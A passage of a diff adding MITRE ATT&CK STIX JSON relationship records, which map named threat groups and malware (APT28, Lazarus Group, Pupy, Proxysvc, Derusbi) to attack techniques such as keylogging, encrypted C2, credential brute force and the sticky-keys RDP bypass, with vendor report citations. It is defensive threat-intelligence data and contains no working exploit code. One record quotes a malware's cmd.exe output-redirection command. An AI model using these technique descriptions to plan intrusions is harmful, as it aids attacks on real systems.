"relationship--68edf451-bda3-4159-9715-dbcfda8eb8e2", + "external_references": [ + { + "source_name": "FireEye Clandestine Fox", + "description": "Chen, X., Scott, M., Caselden, D.. (2014, April 26). New Zero-Day Exploit targeting Internet Explorer Versions 9 through 11 Identified in Targeted Attacks. Retrieved January 14, 2016.", + "url": "https://www.fireeye.com/blog/threat-research/2014/04/new-zero-day-exploit-targeting-internet-explorer-versions-9-through-11-identified-in-targeted-attacks.html" + } + ], + "modified": "2019-04-29T18:01:20.484Z", + "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", + "relationship_type": "uses", + "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BLACKCOFFEE](https://attack.mitre.org/software/S0069) has the capability to delete files.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--9fe01f98-e0b3-4749-b9a6-eb10c216c548", + "external_references": [ + { + "source_name": "FireEye APT17", + "description": "FireEye Labs/FireEye Threat Intelligence. (2015, May 14). Hiding in Plain Sight: FireEye and Microsoft Expose Obfuscation Tactic. Retrieved January 22, 2016.", + "url": "https://www2.fireeye.com/rs/fireye/images/APT17_Report.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--d69c8146-ab35-4d50-8382-6fc80e641d43", + "relationship_type": "uses", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Ke3chang](https://attack.mitre.org/groups/G0004) used a SharePoint enumeration and data dumping tool known as spwebmember.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--9725630d-a737-43dd-a68f-a09987735846", + "external_references": [ + { + "source_name": "NCC Group APT15 Alive and Strong", + "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.", + "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/" + } + ], + "modified": "2019-04-22T15:08:48.432Z", + "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", + "relationship_type": "uses", + "target_ref": "attack-pattern--d28ef391-8ed4-45dc-bc4a-2f43abf54416" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) has exploited Microsoft Word vulnerability CVE-2014-4114 for execution.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--935f9bb6-d38d-42d1-a764-6b5110ad5364", + "external_references": [ + { + "source_name": "Symantec Tick Apr 2016", + "description": "DiMaggio, J. (2016, April 28). Tick cyberespionage group zeros in on Japan. Retrieved July 16, 2018.", + "url": "https://www.symantec.com/connect/blogs/tick-cyberespionage-group-zeros-japan" + } + ], + "modified": "2019-03-22T19:57:37.320Z", + "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90", + "relationship_type": "uses", + "target_ref": "attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Kazuar](https://attack.mitre.org/software/S0265) gathers information about network adapters.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e534bf54-5f9f-4d5f-bd9d-260e56da4951", + "external_references": [ + { + "source_name": "Unit 42 Kazuar May 2017", + "description": "Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/" + } + ], + "modified": "2019-04-24T15:26:03.729Z", + "source_ref": "malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2", + "relationship_type": "uses", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Deep Panda](https://attack.mitre.org/groups/G0009) has used the sticky-keys technique to bypass the RDP login screen on remote systems during intrusions.", + "type": "relationship", + "created": "2017-05-31T21:33:27.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ab069468-3dff-4c77-9293-adb0b2627a4e", + "external_references": [ + { + "source_name": "RSA Shell Crew", + "description": "RSA Incident Response. (2014, January). RSA Incident Response Emerging Threat Profile: Shell Crew. Retrieved January 14, 2016.", + "url": "https://www.emc.com/collateral/white-papers/h12756-wp-shell-crew.pdf" + } + ], + "modified": "2019-03-22T20:09:34.778Z", + "source_ref": "intrusion-set--a653431d-6a5e-4600-8ad3-609b5af57064", + "relationship_type": "uses", + "target_ref": "attack-pattern--9b99b83a-1aac-4e29-b975-b374950551a3" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Some [Reaver](https://attack.mitre.org/software/S0172) variants use raw TCP for C2.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--56e08b91-312e-4e22-b1d7-4a0742883881", + "external_references": [ + { + "source_name": "Palo Alto Reaver Nov 2017", + "description": "Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--65341f30-bec6-4b1d-8abf-1a5620446c29", + "relationship_type": "uses", + "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Pupy](https://attack.mitre.org/software/S0192) can sniff plaintext network credentials and use NBNS Spoofing to poison name services.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a9bbbd0f-3f45-4efa-9e6b-56ed2c9b9126", + "external_references": [ + { + "source_name": "GitHub Pupy", + "description": "Nicolas Verdier. (n.d.). Retrieved January 29, 2018.", + "url": "https://github.com/n1nj4sec/pupy" + } + ], + "modified": "2019-04-24T17:52:47.855Z", + "source_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4", + "relationship_type": "uses", + "target_ref": "attack-pattern--0dbf5f1b-a560-4d51-ac1b-d70caab3e1f0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Leafminer](https://attack.mitre.org/groups/G0077) used a tool called MailSniper to search through the Exchange server mailboxes for keywords.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f1f879a7-cd1e-4865-bc6a-9b42d36df62b", + "external_references": [ + { + "source_name": "Symantec Leafminer July 2018", + "description": "Symantec Security Response. (2018, July 25). Leafminer: New Espionage Campaigns Targeting Middle Eastern Regions. Retrieved August 28, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east" + } + ], + "modified": "2019-03-25T14:12:13.474Z", + "source_ref": "intrusion-set--32bca8ff-d900-4877-aa65-d70baa041b74", + "relationship_type": "uses", + "target_ref": "attack-pattern--1608f3e1-598a-42f4-a01a-2e252e81728f" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Comnie](https://attack.mitre.org/software/S0244) encrypts command and control communications with RC4.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--93f51dcb-f2cf-4aa2-880d-c2b9388252ff", + "external_references": [ + { + "source_name": "Palo Alto Comnie", + "description": "Grunzweig, J. (2018, January 31). Comnie Continues to Target Organizations in East Asia. Retrieved June 7, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-comnie-continues-target-organizations-east-asia/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--f4c80d39-ce10-4f74-9b50-a7e3f5df1f2e", + "relationship_type": "uses", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Derusbi](https://attack.mitre.org/software/S0021) is capable of logging keystrokes.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--062874d1-8ca9-400f-8367-670b9c7c3280", + "external_references": [ + { + "source_name": "FireEye Periscope March 2018", + "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--94379dec-5c87-49db-b36e-66abc0b81344", + "relationship_type": "uses", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Proxysvc](https://attack.mitre.org/software/S0238) lists processes running on the system.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c407e138-4e68-46e9-b41d-4447a282a1fd", + "external_references": [ + { + "source_name": "McAfee GhostSecret", + "description": "Sherstobitoff, R., Malhotra, A. (2018, April 24). Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide. Retrieved May 16, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/" + } + ], + "modified": "2019-04-22T22:40:41.247Z", + "source_ref": "malware--069af411-9b24-4e85-b26c-623d035bbe84", + "relationship_type": "uses", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Sakula](https://attack.mitre.org/software/S0074) uses single-byte XOR obfuscation to obfuscate many of its files.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--266a5edd-1425-4ab1-88bf-a0d7897699eb", + "external_references": [ + { + "source_name": "Dell Sakula", + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, July 30). Sakula Malware Family. Retrieved January 26, 2016.", + "url": "http://www.secureworks.com/cyber-threat-intelligence/threats/sakula-malware-family/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--96b08451-b27a-4ff6-893f-790e26393a8e", + "relationship_type": "uses", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Gorgon Group](https://attack.mitre.org/groups/G0078) malware can decode contents from a payload that was Base64 encoded and write the contents to a file.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1b1e5d59-20a4-4915-a553-4db606d8121d", + "external_references": [ + { + "source_name": "Unit 42 Gorgon Group Aug 2018", + "description": "Falcone, R., et al. (2018, August 02). The Gorgon Group: Slithering Between Nation State and Cybercrime. Retrieved August 7, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/" + } + ], + "modified": "2019-07-25T14:56:46.710Z", + "source_ref": "intrusion-set--1f21da59-6a13-455b-afd0-d58d0a5a7d27", + "relationship_type": "uses", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT28](https://attack.mitre.org/groups/G0007) downloads and executes PowerShell scripts.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--16e90509-5ea2-48ff-8e09-686dcfddbb3b", + "external_references": [ + { + "source_name": "Palo Alto Sofacy 06-2018", + "description": "Lee, B., Falcone, R. (2018, June 06). Sofacy Group\u2019s Parallel Attacks. Retrieved June 18, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/" + } + ], + "modified": "2019-07-27T00:09:36.305Z", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "relationship_type": "uses", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[XAgentOSX](https://attack.mitre.org/software/S0161) contains the getInstalledAPP function to run ls -la /Applications to gather what applications are installed.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ec362b37-1a64-4b28-8d34-7819d0aa5b2a", + "external_references": [ + { + "source_name": "XAgentOSX 2017", + "description": "Robert Falcone. (2017, February 14). XAgentOSX: Sofacy's Xagent macOS Tool. Retrieved July 12, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-xagentosx-sofacys-xagent-macos-tool/" + } + ], + "modified": "2019-07-26T23:07:21.108Z", + "source_ref": "malware--59a97b15-8189-4d51-9404-e1ce8ea4a069", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[NanHaiShu](https://attack.mitre.org/software/S0228) collects the username from the victim.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f5bbb96e-40b9-4a8c-a53d-bcd843daeac2", + "external_references": [ + { + "source_name": "fsecure NanHaiShu July 2016", + "description": "F-Secure Labs. (2016, July). NANHAISHU RATing the South China Sea. Retrieved July 6, 2018.", + "url": "https://www.f-secure.com/documents/996508/1030745/nanhaishu_whitepaper.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--705f0783-5f7d-4491-b6b7-9628e6e006d2", + "relationship_type": "uses", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Proxysvc](https://attack.mitre.org/software/S0238) executes a binary on the system and logs the results into a temp file by using: cmd.exe /c \" > %temp%\\PM* .tmp 2>&1\".", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--deae71f8-d849-484f-b49d-757356e195c5", + "external_references": [ + { + "source_name": "McAfee GhostSecret", + "description": "Sherstobitoff, R., Malhotra, A. (2018, April 24). Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide. Retrieved May 16, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/" + } + ], + "modified": "2019-04-22T22:40:41.256Z", + "source_ref": "malware--069af411-9b24-4e85-b26c-623d035bbe84", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) deleted many of its files used during operations as part of cleanup, including removing applications and deleting screenshots.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a581ef45-9363-4fdc-b0ff-20436eaffaab", + "external_references": [ + { + "source_name": "US-CERT TA18-074A", + "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A" + }, + { + "source_name": "US-CERT APT Energy Oct 2017", + "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A" + } + ], + "modified": "2019-03-22T20:13:49.557Z", + "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71", + "relationship_type": "uses", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FIN8](https://attack.mitre.org/groups/G0061)'s malicious spearphishing payloads use WMI to launch malware and spawn cmd.exe execution. [FIN8](https://attack.mitre.org/groups/G0061) has also used WMIC during and post compromise cleanup activities.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--fd763f17-409d-428b-825c-f731b0ad88cc", + "external_references": [ + { + "source_name": "FireEye Obfuscation June 2017", + "description": "Bohannon, D. & Carr N. (2017, June 30). Obfuscation in the Wild: Targeted Attackers Lead the Way in Evasion Techniques. Retrieved February 12, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html" + }, + { + "source_name": "FireEye Know Your Enemy FIN8 Aug 2016", + "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.", + "url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html" + } + ], + "modified": "2019-03-22T20:21:57.689Z", + "source_ref": "intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826", + "relationship_type": "uses", + "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[OilRig](https://attack.mitre.org/groups/G0049) has used brute force techniques to obtain credentials.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7f7226d7-6980-402a-b10e-e81b50c7ee09", + "external_references": [ + { + "source_name": "FireEye APT34 Webinar Dec 2017", + "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.", + "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east" + } + ], + "modified": "2019-07-17T16:17:30.074Z", + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "relationship_type": "uses", + "target_ref": "attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Several [Lazarus Group](https://attack.mitre.org/groups/G0032) malware families encrypt C2 traffic using custom code that uses XOR with an ADD operation and XOR with a SUB operation. Another [Lazarus Group](https://attack.mitre.org/groups/G0032) malware sample XORs C2 traffic. [Lazarus Group](https://attack.mitre.org/groups/G0032) malware also uses a unique form of communication encryption known as FakeTLS that mimics TLS but uses a different encryption method, evading SSL man-in-the-middle decryption attacks.", + "type": "relationship", + "created": "2017-05-31T21:33:27.067Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f146a331-3595-46be-abef-518708e34def", + "external_references": [ + { + "source_name": "Novetta Blockbuster", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.", + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf" + }, + { + "source_name": "Novetta Blockbuster Destructive Malware", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved March 2, 2016.", + "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf" + }, + { + "source_name": "McAfee Lazarus Resurfaces Feb 2018", + "description": "Sherstobitoff, R. (2018, February 12). Lazarus Resurfaces, Targets Global Banks and Bitcoin Users. Retrieved February 19, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/" + }, + { + "source_name": "McAfee GhostSecret", + "description": "Sherstobitoff, R., Malhotra, A. (2018, April 24). Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide. Retrieved May 16, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/" + } + ], + "modified": "2019-04-29T18:13:08.779Z", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "relationship_type": "uses", + "target_ref": "attack-pattern--3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Pasam](https://attack.mitre.org/software/S0208) connects to external C2 infrastructure and opens a backdoor over port 443.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1d8a76f0-9818-4da4-8ec0-79a61311fea6", + "external_references": [ + { + "source_name": "Symantec Pasam May 2012", + "description": "Mullaney, C. & Honda, H. (2012, May 4). Trojan.Pasam. Retrieved February 22, 2018.", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-050412-4128-99" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--e811ff6a-4cef-4856-a6ae-a7daf9ed39ae", + "relationship_type": "uses", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Gazer](https://attack.mitre.org/software/S0168) communicates with its C2 servers over HTTP.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--61047751-c353-4190-bc37-19ad959bc35e", + "external_references": [ + { + "source_name": "ESET Gazer Aug 2017", + "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--76abb3ef-dafd-4762-97cb-a35379429db4", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[WINDSHIELD](https://attack.mitre.org/software/S0155) is capable of file deletion along with other file system interaction.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b6970925-a435-4942-b244-60e4f57acf86", + "external_references": [ + { + "source_name": "FireEye APT32 May 2017", + "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--98e8a977-3416-43aa-87fa-33e287e9c14c", + "relationship_type": "uses", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Pupy](https://attack.mitre.org/software/S0192) can interact with a victim\u2019s Outlook session and look through folders and emails.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5c736aad-9847-4059-9d1e-dc2f551952d0", + "external_references": [ + { + "source_name": "GitHub Pupy", + "description": "Nicolas Verdier. (n.d.). Retrieved January 29, 2018.", + "url": "https://github.com/n1nj4sec/pupy" + } + ], + "modified": "2019-04-24T17:52:47.897Z", + "source_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4", + "relationship_type": "uses", + "target_ref": "attack-pattern--1608f3e1-598a-42f4-a01a-2e252e81728f" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Prikormka](https://attack.mitre.org/software/S0113) encodes C2 traffic with Base64.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--9cf37d0b-a23d-4514-961d-94d1cc6e2bef", + "external_references": [ + { + "source_name": "ESET Operation Groundbait", + "description": "Cherepanov, A.. (2016, May 17). Operation Groundbait: Analysis of a surveillance toolkit. Retrieved May 18, 2016.", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf" + } + ], + "modified": "2019-07-26T20:45:14.314Z", + "source_ref": "malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69", + "relationship_type": "uses", + "target_ref": "attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[SeaDuke](https://attack.mitre.org/software/S0053) has been packed with the UPX packer.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--8a48e56d-f837-4a5a-99b6-db0f60b541a0", + "external_references": [ + { + "source_name": "Unit 42 SeaDuke 2015", + "description": "Grunzweig, J.. (2015, July 14). Unit 42 Technical Analysis: Seaduke. Retrieved August 3, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2015/07/unit-42-technical-analysis-seaduke/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--67e6d66b-1b82-4699-b47a-e2efb6268d14", + "relationship_type": "uses", + "target_ref": "attack-pattern--6ff403bc-93e3-48be-8687-e102fdba8c88" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Some [Volgmer](https://attack.mitre.org/software/S0180) variants use ports 8080 and 8000 for C2.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2902ccff-873a-4ebc-bdf4-caaae629ae9d", + "external_references": [ + { + "source_name": "US-CERT Volgmer Nov 2017", + "description": "US-CERT. (2017, November 22). Alert (TA17-318B): HIDDEN COBRA \u2013 North Korean Trojan: Volgmer. Retrieved December 7, 2017.", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-318B" + }, + { + "source_name": "US-CERT Volgmer 2 Nov 2017", + "description": "US-CERT. (2017, November 01). Malware Analysis Report (MAR) - 10135536-D. Retrieved July 16, 2018.", + "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-D_WHITE_S508C.PDF" + }, + { + "source_name": "Symantec Volgmer Aug 2014", + "description": "Yagi, J. (2014, August 24). Trojan.Volgmer. Retrieved July 16, 2018.", + "url": "https://www.symantec.com/security-center/writeup/2014-081811-3237-99?tabid=2" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08", + "relationship_type": "uses", + "target_ref": 